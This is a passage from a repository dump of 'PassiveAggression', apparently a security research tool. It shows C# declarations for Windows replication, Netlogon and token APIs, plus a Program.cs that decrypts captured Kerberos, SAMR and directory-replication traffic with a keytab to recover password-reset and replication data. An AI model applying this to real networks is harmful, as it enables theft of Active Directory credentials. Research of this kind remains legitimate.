294 | public delegate bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); 295 | 296 | [SuppressUnmanagedCodeSecurity] 297 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 298 | public delegate bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 299 | 300 | [SuppressUnmanagedCodeSecurity] 301 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 302 | public delegate bool LookupPrivilegeValue(string lpSystemName, String lpName, ref Natives.LUID luid); 303 | 304 | [SuppressUnmanagedCodeSecurity] 305 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 306 | public delegate bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref Natives.TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, ref Natives.TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes); 307 | 308 | [SuppressUnmanagedCodeSecurity] 309 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 310 | public delegate bool LookupAccountNameA(string lpSystemName, string lpAccountName, byte[] Sid, ref uint cbSid, StringBuilder ReferencedDomainName, ref uint cchReferencedDomainName, out Natives.SID_NAME_USE peUse); 311 | 312 | [SuppressUnmanagedCodeSecurity] 313 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 314 | public delegate bool ConvertSidToStringSid(byte[] pSID, out string ptrSid); 315 | 316 | [SuppressUnmanagedCodeSecurity] 317 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 318 | public delegate bool ConvertSidToStringSid2(IntPtr pSID, out string ptrSid); 319 | 320 | [SuppressUnmanagedCodeSecurity] 321 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 322 | public delegate bool ConvertStringSidToSid(string stringsid, out IntPtr ptrSid); 323 | 324 | [SuppressUnmanagedCodeSecurity] 325 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 326 | public delegate int RpcBindingFromStringBinding(string bindingString, out IntPtr lpBinding); 327 | 328 | [SuppressUnmanagedCodeSecurity] 329 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 330 | public delegate int I_RpcBindingInqSecurityContext(IntPtr Binding, out IntPtr SecurityContextHandle); 331 | 332 | [SuppressUnmanagedCodeSecurity] 333 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 334 | public delegate IntPtr NdrClientCall2_1(IntPtr pMIDL_STUB_DESC, IntPtr formatString, ref IntPtr hDrs); 335 | 336 | [SuppressUnmanagedCodeSecurity] 337 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 338 | public delegate IntPtr NdrClientCall2_2(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hBinding, Guid NtdsDsaObjectGuid, Natives.DRS_EXTENSIONS_INT ext_int, ref IntPtr pDrsExtensionsExt, ref IntPtr hDrs); 339 | 340 | [SuppressUnmanagedCodeSecurity] 341 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 342 | public delegate IntPtr NdrClientCall2_3(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hDrs, uint dcInVersion, Natives.DRS_MSG_DCINFOREQ_V1 dcInfoReq, ref uint dcOutVersion, ref Natives.DRS_MSG_DCINFOREPLY_V2 dcInfoRep); 343 | 344 | [SuppressUnmanagedCodeSecurity] 345 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 346 | public delegate IntPtr NdrClientCall2_4(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hDrs, uint dcInVersion, Natives.DRS_MSG_CRACKREQ_V1 dcInfoReq, ref uint dcOutVersion, ref IntPtr dcInfoRep); 347 | 348 | [SuppressUnmanagedCodeSecurity] 349 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 350 | public delegate IntPtr NdrClientCall2_5(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hDrs, uint dwInVersion, Natives.DRS_MSG_GETCHGREQ_V8 pmsgIn, ref uint dwOutVersion, ref Natives.DRS_MSG_GETCHGREPLY_V6 pmsgOut); 351 | 352 | [SuppressUnmanagedCodeSecurity] 353 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 354 | public delegate int RpcBindingFree(ref IntPtr lpString); 355 | 356 | [SuppressUnmanagedCodeSecurity] 357 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 358 | public delegate int RpcStringBindingCompose(String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options, out IntPtr lpBindingString); 359 | 360 | [SuppressUnmanagedCodeSecurity] 361 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 362 | public delegate int RpcBindingSetAuthInfoEx(IntPtr lpBinding, string ServerPrincName, UInt32 AuthnLevel, UInt32 AuthnSvc, IntPtr identity, UInt32 AuthzSvc, ref Natives.RPC_SECURITY_QOS SecurityQOS); 363 | 364 | [SuppressUnmanagedCodeSecurity] 365 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 366 | public delegate int RpcBindingSetOption(IntPtr Binding, UInt32 Option, IntPtr OptionValue); 367 | 368 | [SuppressUnmanagedCodeSecurity] 369 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 370 | public delegate int RpcBindingSetObject(IntPtr Binding, ref Guid val); 371 | 372 | [SuppressUnmanagedCodeSecurity] 373 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 374 | public delegate int RpcEpResolveBinding(IntPtr Binding, IntPtr IfSpec); 375 | 376 | [SuppressUnmanagedCodeSecurity] 377 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 378 | public delegate IntPtr CreateFileW(string lpFileName, uint dwDesiredAccess, uint dwShareMode, ref Natives.SECURITY_ATTRIBUTES lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); 379 | 380 | [SuppressUnmanagedCodeSecurity] 381 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 382 | public delegate int RegQueryValueEx(IntPtr hKey, string lpValueName, IntPtr lpReserved, ref uint lpType, IntPtr lpData, ref uint lpcbData); 383 | 384 | [SuppressUnmanagedCodeSecurity] 385 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 386 | public delegate IntPtr RpcAsyncEnumPrinterDrivers(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hBinding, StringBuilder pName, string pEnvironment, uint level, IntPtr drivers, uint cbBuf, ref uint pcbNeeded, ref uint pcReturned); 387 | 388 | [SuppressUnmanagedCodeSecurity] 389 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 390 | public delegate IntPtr RpcAsyncAddPrinterDriver(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hBinding, StringBuilder pName, IntPtr pDriverContainer, uint dwFileCopyFlags); 391 | 392 | [SuppressUnmanagedCodeSecurity] 393 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 394 | public delegate int RtlDecryptDES2blocks1DWORD(byte[] data, ref UInt32 key, IntPtr output); 395 | 396 | [SuppressUnmanagedCodeSecurity] 397 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 398 | public delegate IntPtr GetSidSubAuthority(IntPtr sid, UInt32 subAuthorityIndex); 399 | 400 | [SuppressUnmanagedCodeSecurity] 401 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 402 | public delegate IntPtr GetSidSubAuthorityCount(IntPtr psid); 403 | 404 | [SuppressUnmanagedCodeSecurity] 405 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 406 | public delegate int RtlEncryptDecryptRC4(ref Natives.CRYPTO_BUFFER data, ref Natives.CRYPTO_BUFFER key); 407 | 408 | [SuppressUnmanagedCodeSecurity] 409 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 410 | public delegate int QueryContextAttributes(IntPtr hContext, uint ulAttribute, ref Natives.SecPkgContext_SessionKey pContextAttributes); 411 | 412 | [SuppressUnmanagedCodeSecurity] 413 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 414 | public delegate int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, int flags); 415 | 416 | [SuppressUnmanagedCodeSecurity] 417 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 418 | internal delegate int BCryptDestroyKey(IntPtr hKey); 419 | 420 | [SuppressUnmanagedCodeSecurity] 421 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 422 | public delegate int BCryptOpenAlgorithmProvider(out Bcrypt.SafeBCryptAlgorithmHandle phAlgorithm, string pszAlgId, string pszImplementation, int dwFlags); 423 | 424 | [SuppressUnmanagedCodeSecurity] 425 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 426 | public delegate int BCryptSetProperty(SafeHandle hProvider, string pszProperty, string pbInput, int cbInput, int dwFlags); 427 | 428 | [SuppressUnmanagedCodeSecurity] 429 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 430 | public delegate int BCryptGenerateSymmetricKey(Bcrypt.SafeBCryptAlgorithmHandle hAlgorithm, out Bcrypt.SafeBCryptKeyHandle phKey, IntPtr pbKeyObject, int cbKeyObject, IntPtr pbSecret, int cbSecret, int flags); 431 | 432 | [SuppressUnmanagedCodeSecurity] 433 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 434 | public delegate int BCryptDecrypt(Bcrypt.SafeBCryptKeyHandle hKey, IntPtr pbInput, int cbInput, IntPtr pPaddingInfo, IntPtr pbIV, int cbIV, IntPtr pbOutput, int cbOutput, out int pcbResult, int dwFlags); 435 | 436 | [SuppressUnmanagedCodeSecurity] 437 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 438 | public delegate int BCryptEncrypt(Bcrypt.SafeBCryptKeyHandle hKey, IntPtr pbInput, int cbInput, IntPtr pPaddingInfo, IntPtr pbIV, int cbIV, IntPtr pbOutput, int cbOutput, out int pcbResult, int dwFlags); 439 | 440 | [SuppressUnmanagedCodeSecurity] 441 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 442 | public delegate IntPtr ASN1_CreateModule(uint nVersion, uint eRule, uint dwFlags, uint cPDU, IntPtr[] apfnEncoder, IntPtr[] apfnDecoder, IntPtr[] apfnFreeMemory, int[] acbStructSize, uint nModuleName); 443 | 444 | [SuppressUnmanagedCodeSecurity] 445 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 446 | public delegate Natives.ASN1error_e ASN1_CreateEncoder(IntPtr pModule, out IntPtr ppEncoderInfo, IntPtr pbBuf, uint cbBufSize, IntPtr pParent); 447 | 448 | [SuppressUnmanagedCodeSecurity] 449 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 450 | public delegate Natives.ASN1error_e ASN1_CreateDecoder(IntPtr pModule, out IntPtr ppDecoderInfo, IntPtr pbBuf, uint cbBufSize, IntPtr pParent); 451 | 452 | [SuppressUnmanagedCodeSecurity] 453 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 454 | public delegate bool ASN1BERDotVal2Eoid(IntPtr pEncoderInfo, string dotOID, IntPtr encodedOID); 455 | 456 | [SuppressUnmanagedCodeSecurity] 457 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 458 | public delegate void ASN1_FreeEncoded(ref Natives.ASN1encoding_s pEncoderInfo, IntPtr pBuf); 459 | 460 | [SuppressUnmanagedCodeSecurity] 461 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 462 | public delegate void ASN1_CloseEncoder(IntPtr pEncoderInfo); 463 | 464 | [SuppressUnmanagedCodeSecurity] 465 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 466 | public delegate void ASN1_CloseDecoder(IntPtr pDecoderInfo); 467 | 468 | [SuppressUnmanagedCodeSecurity] 469 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 470 | public delegate void ASN1_CloseModule(IntPtr pModule); 471 | 472 | [SuppressUnmanagedCodeSecurity] 473 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 474 | public delegate bool CreateProcessWithLogonW(string userName, string domain, string password, Natives.LogonFlags dwLogonFlags, string applicationName, string commandLine, Natives.CreationFlags dwCreationFlags, uint environment, string currentDirectory, ref Natives.STARTUPINFO startupInfo, out Natives.PROCESS_INFORMATION processInformation); 475 | 476 | [SuppressUnmanagedCodeSecurity] 477 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 478 | public delegate bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, ref Natives.SECURITY_ATTRIBUTES lpTokenAttributes, int ImpersonationLevel, int TokenType, ref IntPtr phNewToken); 479 | 480 | [SuppressUnmanagedCodeSecurity] 481 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 482 | public delegate bool SetThreadToken(IntPtr pHandle, IntPtr hToken); 483 | 484 | [SuppressUnmanagedCodeSecurity] 485 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 486 | public delegate void NtResumeProcess(IntPtr hProcess); 487 | 488 | [SuppressUnmanagedCodeSecurity] 489 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 490 | public delegate uint NtTerminateProcess(IntPtr hProcess, uint uExitCode); 491 | 492 | [SuppressUnmanagedCodeSecurity] 493 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 494 | public delegate uint NetrServerReqChallenge(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr PrimaryName, IntPtr ComputerName, IntPtr ClientChallenge, out Natives.NETLOGON_CREDENTIAL ServerChallenge); 495 | 496 | [SuppressUnmanagedCodeSecurity] 497 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 498 | public delegate uint NetrServerAuthenticate3(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr PrimaryName, IntPtr AccountName, Natives.NETLOGON_SECURE_CHANNEL_TYPE SecoureChannelType, IntPtr ComputerName, IntPtr ClientChallenge, out Natives.NETLOGON_CREDENTIAL ServerChallenge, out uint NegotiateFlags, out uint AccountRid); 499 | 500 | [SuppressUnmanagedCodeSecurity] 501 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 502 | public delegate uint NetServerPasswordSet2(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr PrimaryName, IntPtr AccountName, Natives.NETLOGON_SECURE_CHANNEL_TYPE AccountType, IntPtr ComputerName, IntPtr Authenticator, IntPtr ReturnAuthenticator, IntPtr ClearNewPassword); 503 | 504 | [SuppressUnmanagedCodeSecurity] 505 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 506 | public delegate bool LogonUser(string pszUserName, string pszDomain, string pszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken); 507 | 508 | [SuppressUnmanagedCodeSecurity] 509 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 510 | public delegate bool ImpersonateLoggedOnUser(IntPtr hToken); 511 | 512 | [SuppressUnmanagedCodeSecurity] 513 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 514 | public delegate bool RevertToSelf(); 515 | 516 | [SuppressUnmanagedCodeSecurity] 517 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 518 | public delegate int RegOpenKeyExW(IntPtr hKey, string lpSubKey, uint ulOptions, Natives.ACCESS_MASK samDesired, IntPtr phkResult); 519 | 520 | [SuppressUnmanagedCodeSecurity] 521 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 522 | public delegate int RegQueryInfoKeyW(IntPtr hKey, IntPtr lpClass, IntPtr lpcchClass, ref uint lpReserved, IntPtr lpcSubKeys, IntPtr lpcbMaxSubKeyLen, IntPtr lpcbMaxClassLen, IntPtr lpcValues, IntPtr lpcbMaxValueNameLen, IntPtr lpcbMaxValueLen, IntPtr lpcbSecurityDescriptor, IntPtr lpftLastWriteTime); 523 | 524 | [SuppressUnmanagedCodeSecurity] 525 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 526 | public delegate int RegCloseKey(IntPtr hKey); 527 | 528 | [SuppressUnmanagedCodeSecurity] 529 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] 530 | public delegate bool CryptAcquireContextA(ref IntPtr phProv, string szContainer, string szProvider, uint dwProvType, uint dwFlags); 531 | 532 | [SuppressUnmanagedCodeSecurity] 533 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] 534 | public delegate bool CryptSetKeyParam(IntPtr hKey, uint dwParam, IntPtr pbData, uint dwFlags); 535 | 536 | [SuppressUnmanagedCodeSecurity] 537 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] 538 | public delegate bool CryptDestroyKey(IntPtr hKey); 539 | 540 | [SuppressUnmanagedCodeSecurity] 541 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] 542 | public delegate bool CryptReleaseContext(IntPtr hProv, uint dwFlags); 543 | 544 | [SuppressUnmanagedCodeSecurity] 545 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] 546 | public delegate bool CryptImportKey(IntPtr hProv, IntPtr pbData, uint dwDataLen, IntPtr hPubKey, uint dwFlags, ref IntPtr phKey); 547 | 548 | [SuppressUnmanagedCodeSecurity] 549 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] 550 | public delegate bool CryptGetProvParam(IntPtr hProv, uint dwParam, IntPtr pbData, ref uint pdwDataLen, uint dwFlags); 551 | 552 | [SuppressUnmanagedCodeSecurity] 553 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] 554 | public delegate bool CryptExportKey(IntPtr hKey, IntPtr hExpKey, uint dwBlobType, uint dwFlags, IntPtr pbData, ref uint pdwDataLen); 555 | 556 | [SuppressUnmanagedCodeSecurity] 557 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] 558 | public delegate bool CryptGenKey(IntPtr hProv, uint Algid, uint dwFlags, IntPtr phKey); 559 | 560 | [SuppressUnmanagedCodeSecurity] 561 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi, SetLastError = true)] 562 | public delegate bool CryptDecrypt(IntPtr hKey, IntPtr hHash, bool Final, uint dwFlags, IntPtr pbData, ref uint pdwDataLen); 563 | 564 | [SuppressUnmanagedCodeSecurity] 565 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] 566 | public delegate int RegEnumKeyExW(IntPtr hKey, uint dwIndex, IntPtr lpName, IntPtr lpcchName, IntPtr lpReserved, IntPtr lpClass, IntPtr lpcchClass, IntPtr lpftLastWriteTime); 567 | 568 | [SuppressUnmanagedCodeSecurity] 569 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 570 | public delegate IntPtr CreateFileMappingA(IntPtr hFile, IntPtr lpFileMappingAttributes, uint flProtect, uint dwMaximumSizeHigh, uint dwMaximumSizeLow, IntPtr lpName); 571 | 572 | [SuppressUnmanagedCodeSecurity] 573 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 574 | public delegate IntPtr MapViewOfFile(IntPtr hFileMappingObject, uint dwDesiredAccess, uint dwFileOffsetHigh, uint dwFileOffsetLow, long dwNumberOfBytesToMap); 575 | 576 | [SuppressUnmanagedCodeSecurity] 577 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 578 | public delegate bool UnmapViewOfFile(IntPtr lpBaseAddress); 579 | 580 | [SuppressUnmanagedCodeSecurity] 581 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 582 | public delegate int NtOpenDirectoryObject(ref IntPtr DirectoryHandle, Natives.ACCESS_MASK DesiredAccess, IntPtr ObjectAttributes); 583 | 584 | [SuppressUnmanagedCodeSecurity] 585 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 586 | public delegate int NtQueryDirectoryObject(IntPtr DirectoryHandle, byte[] Buffer, uint Length, bool ReturnSingleEntry, bool RestartScan, ref uint Context, ref uint ReturnLength); 587 | 588 | [SuppressUnmanagedCodeSecurity] 589 | [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] 590 | public delegate bool GetFileAttributesExW(string lpFileName, Natives.GET_FILEEX_INFO_LEVELS fInfoLevelId, ref Natives.WIN32_FILE_ATTRIBUTE_DATA lpFileInformation); 591 | } 592 | } 593 | 594 | } 595 | -------------------------------------------------------------------------------- /PassiveAggression/NtApiDotNet/NtApiDotNet.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/huntandhackett/PassiveAggression/3071887eef681c5a5628785223fb11b0d0d483f7/PassiveAggression/NtApiDotNet/NtApiDotNet.dll -------------------------------------------------------------------------------- /PassiveAggression/PassiveAggression.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net7.0 6 | enable 7 | enable 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | ..\..\sandbox-attacksurface-analysis-tools\NtApiDotNet\bin\Release\NtApiDotNet.dll 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /PassiveAggression/Program.cs: -------------------------------------------------------------------------------- 1 | using System.Diagnostics; 2 | using PassiveAgression.Core; 3 | using PassiveAgression.Core.Events; 4 | using PassiveAgression.Core.Network; 5 | using static PassiveAgression.Core.Win32.Natives; 6 | using PassiveAgression.Core.Static; 7 | 8 | namespace PassiveAgression 9 | { 10 | internal class Program 11 | { 12 | #region Properties 13 | 14 | /// 15 | /// Location to pcap containing network info 16 | /// 17 | private static string pcapLocation { get; set; } 18 | 19 | /// 20 | /// Location to keytab containing credentials 21 | /// 22 | private static string keytabLocation { get; set; } 23 | 24 | /// 25 | /// Location to Tshark 26 | /// 27 | private static string tsharkLocation = @"C:\Program Files\Wireshark\tshark.exe"; 28 | 29 | private static DataHandler dataHandler; 30 | 31 | #endregion 32 | 33 | static async Task Main(string[] args) 34 | { 35 | 36 | dataHandler = new DataHandler(); 37 | Task handlerStart = dataHandler.Start(); 38 | 39 | //keytabLocation = @"C:\Code\PassiveAggression\PassiveAggression\TestData\krbtgt\krbtgtreset.keytab"; 40 | //pcapLocation = @"C:\Code\PassiveAggression\PassiveAggression\TestData\krbtgt\krbtgtreset.pcapng"; 41 | 42 | keytabLocation = @"C:\Code\PassiveAggression\PassiveAggression\TestData\Pwdreset\pwdreset.keytab"; 43 | pcapLocation = @"C:\Code\PassiveAggression\PassiveAggression\TestData\Pwdreset\pwdreset.pcapng"; 44 | 45 | var tsharkArguments = GetTsharkArguments(); 46 | 47 | 48 | TShark tshark = new TShark(tsharkLocation, tsharkArguments); 49 | tshark.Run(ProcessEvent); 50 | 51 | // Let the handler know all data in the pcap has been processed 52 | dataHandler.Stop(); 53 | 54 | await handlerStart; 55 | 56 | } 57 | 58 | /// 59 | /// Composes the cmdline argument for tshark that does the following: 60 | /// - filter out packets not needed 61 | /// - extract raw data for needed protocols 62 | /// - read data from pcap 63 | /// - decrypt kerberos data using keytab file 64 | /// - double pass, so fragmented packets can be reassembled 65 | /// - sets output type to json 66 | /// 67 | /// 68 | private static string GetTsharkArguments() 69 | { 70 | // Tshark filters 71 | 72 | string RPC_SESSIONKEY_NEG = $"(netlogon.opnum == {(int)Enums.OP_NETLOGON.NetrServerAuthenticate3} && dcerpc.pkt_type == {(int)Enums.PKT_DCERPC.RESPONSE})"; 73 | string KRB_KPASSWD = "(kpasswd)"; 74 | string SMB_SESSION_SETUP_REQUEST = $"(smb2.cmd == {(int)Enums.SMB_CMD.SESSION_SETUP})"; 75 | string SMB_SESSION_SETUP_RESPONSE = $"(smb2.cmd == {(int)Enums.SMB_CMD.NEGOTIATE})"; 76 | string SAMR_SETUSERINFO2 = $"(samr.opnum == {(int)Enums.OP_SAMR.SamrSetInformationUser2} || samr.opnum == {(int)Enums.OP_SAMR.SamrLookupNamesInDomain})"; 77 | string RPC_BINDS = $"(dcerpc.pkt_type == {(int)Enums.PKT_DCERPC.BIND} || dcerpc.pkt_type == {(int)Enums.PKT_DCERPC.BINDACK})"; 78 | string RPC_REPLICATION = $"(dcerpc.pkt_type == {(int)Enums.PKT_DCERPC.RESPONSE} && dcerpc.opnum == {(int)Enums.OP_DCERPC.DRSGetNCChanges})"; 79 | string RPC_NETRLOGONSENDTOSAM = $"(netlogon.opnum == {(int)Enums.OP_NETLOGON.NetrLogonSendToSam} && dcerpc.pkt_type == {(int)Enums.PKT_DCERPC.REQUEST})"; 80 | 81 | // compose a filter to filter out all the noise 82 | string filter = string.Join(" || ", SMB_SESSION_SETUP_REQUEST, SMB_SESSION_SETUP_RESPONSE, 83 | SAMR_SETUSERINFO2, 84 | RPC_SESSIONKEY_NEG, 85 | RPC_NETRLOGONSENDTOSAM, 86 | KRB_KPASSWD, 87 | RPC_BINDS, 88 | RPC_REPLICATION); 89 | 90 | // These protocols must be extracted raw. 91 | // Most of these can be extracted using field filters, but some of them are not returned correctly 92 | // and must be fetched using this approach 93 | string[] rawProtocolsToExtract = new string[] 94 | { 95 | "ip", 96 | "tcp", 97 | "rpc_netlogon", 98 | "smb2", 99 | "smb", 100 | "samr", 101 | "rpc", 102 | "dcerpc", 103 | "kerberos", 104 | "drsuapi" 105 | }; 106 | var rawProtocolArg = string.Join(" ", rawProtocolsToExtract); 107 | 108 | // Output should be in json format 109 | var outputType = "json"; 110 | 111 | var arguments = $"-2 -r \"{pcapLocation}\" -K \"{keytabLocation}\" -Y \"{filter}\" -T {outputType} -J " + 112 | $"\"{rawProtocolArg}\" -x"; 113 | 114 | return arguments ; 115 | 116 | } 117 | 118 | /// 119 | /// This function is invoked after deserialization. 120 | /// In this function, we parse data and handle all the logic 121 | /// 122 | /// 123 | public static void ProcessEvent(TSharkMessage msg) 124 | { 125 | 126 | // Process password reset events 127 | if (msg.SAMR_Opnum == Enums.OP_SAMR.SamrSetInformationUser2 && 128 | msg.DCERPC_PacketType == Enums.PKT_DCERPC.REQUEST) 129 | { 130 | SamrSetInformationUser2 pwdset = new SamrSetInformationUser2(msg); 131 | dataHandler.AddSetInformationUser2(pwdset); 132 | 133 | } 134 | 135 | // Process SMB Session negotiation 136 | if (msg.SMBRequest && msg.SMB_CMD == Enums.SMB_CMD.SESSION_SETUP) 137 | { 138 | SMBSessionSetup setup = new SMBSessionSetup(msg); 139 | dataHandler.AddSMBSessionSetup(setup); 140 | } 141 | 142 | // Process LookupNames request 143 | if (msg.SAMR_Opnum == Enums.OP_SAMR.SamrLookupNamesInDomain) 144 | { 145 | LookupNamesRequest req = new LookupNamesRequest(msg); 146 | dataHandler.AddLookupNamesRequest(req); 147 | } 148 | 149 | // Process RPCNetLogon NetRServerAuthenticate3 request 150 | if (msg.NETLOGON_Opnum == Enums.OP_NETLOGON.NetrServerAuthenticate3) 151 | { 152 | NetRServerAuthenticate3Response res = new NetRServerAuthenticate3Response(msg); 153 | dataHandler.AddNetrServerAuthenticate3Response(res); 154 | } 155 | 156 | // Process NetrLogonSendToSam events 157 | if (msg.NETLOGON_Opnum == Enums.OP_NETLOGON.NetrLogonSendToSam) 158 | { 159 | NetRLogonSendToSam sam = new NetRLogonSendToSam(msg); 160 | dataHandler.AddSendToSam(sam); 161 | } 162 | 163 | // Process RPC binds 164 | if (msg.DCERPC_PacketType == Enums.PKT_DCERPC.BIND || 165 | msg.DCERPC_PacketType == Enums.PKT_DCERPC.BINDACK) 166 | { 167 | RPCBinding bind = new RPCBinding(msg); 168 | dataHandler.AddRPCBinding(bind); 169 | } 170 | 171 | // Process replication events 172 | if (msg.DCERPC_PacketType == Enums.PKT_DCERPC.RESPONSE && 173 | msg.DCERPC_Opnum == Enums.OP_DCERPC.DRSGetNCChanges) 174 | { 175 | GetNCChangesResponse response = new GetNCChangesResponse(msg); 176 | dataHandler.AddGetNCChanges(response); 177 | } 178 | 179 | } 180 | 181 | } 182 | } -------------------------------------------------------------------------------- /PassiveAggression/TestData/Pwdreset/pwdreset.keytab: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/huntandhackett/PassiveAggression/3071887eef681c5a5628785223fb11b0d0d483f7/PassiveAggression/TestData/Pwdreset/pwdreset.keytab -------------------------------------------------------------------------------- /PassiveAggression/TestData/Pwdreset/pwdreset.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/huntandhackett/PassiveAggression/3071887eef681c5a5628785223fb11b0d0d483f7/PassiveAggression/TestData/Pwdreset/pwdreset.pcapng -------------------------------------------------------------------------------- /PassiveAggression/TestData/krbtgt/krbtgtreset.keytab: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/huntandhackett/PassiveAggression/3071887eef681c5a5628785223fb11b0d0d483f7/PassiveAggression/TestData/krbtgt/krbtgtreset.keytab -------------------------------------------------------------------------------- /PassiveAggression/TestData/krbtgt/krbtgtreset.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/huntandhackett/PassiveAggression/3071887eef681c5a5628785223fb11b0d0d483f7/PassiveAggression/TestData/krbtgt/krbtgtreset.pcapng -------------------------------------------------------------------------------- /PassiveAggression/TestData/krbtgt/readme.txt: 